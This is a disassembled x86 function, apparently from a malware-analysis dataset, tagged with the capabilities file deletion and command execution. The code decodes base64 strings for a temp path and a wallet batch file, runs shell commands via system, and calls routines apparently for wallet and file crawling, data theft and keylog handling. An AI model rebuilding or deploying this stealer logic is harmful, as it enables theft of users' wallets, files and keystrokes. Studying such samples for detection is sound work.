Function at 0x401cfa
Capabilities:
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a8
mov dword [esp + 4], 0x429350
mov dword [esp], 0x44c260
call sym._check_exist
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401d91
lea eax, [ebp - 0x184]
mov dword [esp + 4], eax
mov dword [esp], str.bWtkaXI
call sym._base64_decode
mov dword [ebp - 0x14], eax
mov dword [esp + 0xc], 0x44c260
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x429353
lea eax, [ebp - 0x37c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x37c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401d83
mov dword [esp], 0x4291db
call sym._puts
jmp 0x401db0
mov dword [esp], 0x429125
call sym._puts
jmp 0x401db0
mov dword [esp], 0x44c260
call sym._get_files_in_folder
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401db0
mov eax, 1
jmp 0x401f97
mov dword [esp + 4], 0x429350
mov dword [esp], 0x44c060
call sym._check_exist
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401e3e
lea eax, [ebp - 0x188]
mov dword [esp + 4], eax
mov dword [esp], str.bWtkaXI
call sym._base64_decode
mov dword [ebp - 0x24], eax
mov dword [esp + 0xc], 0x44c060
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x429353
lea eax, [ebp - 0x37c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x37c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x401e30
mov dword [esp], 0x4291db
call sym._puts
jmp 0x401e5d
mov dword [esp], 0x429125
call sym._puts
jmp 0x401e5d
mov dword [esp], 0x44c060
call sym._get_files_in_folder
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x401e5d
mov eax, 1
jmp 0x401f97
lea eax, [ebp - 0x178]
mov dword [esp + 4], eax
mov dword [esp], str.d2luX2Y2NF96emdjd2FsbGV0LmJhdA
call sym._base64_decode
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x17c]
mov dword [esp + 4], eax
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxUZW1w
call sym._base64_decode
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x180]
mov dword [esp + 4], eax
mov dword [esp], 0x425020
call sym._base64_decode
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x44c540
mov eax, dword [ebp - 0x34]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42912c
lea eax, [ebp - 0x174]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x429350
lea eax, [ebp - 0x174]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0
cmp dword [ebp - 0x38], 0
je 0x401f0f
lea eax, [ebp - 0x174]
mov dword [esp], eax
call sym._remove
mov dword [esp], 0x44c060
call sym._get_system_info
call sym._rnwltcr_
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x401f35
mov dword [esp], str.fail
call sym._puts
call sym._rnfscrwl_
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x401f4f
mov dword [esp], str.fail
call sym._puts
mov dword [esp + 4], 0x44c060
mov dword [esp], 0x44c540
call sym._stl_m
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x401f78
mov dword [esp], str.fail
call sym._puts
call sym._mvklg_
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x401f92
mov dword [esp], str.__Move_keylog_failed
call sym._puts
mov eax, 0
leave
ret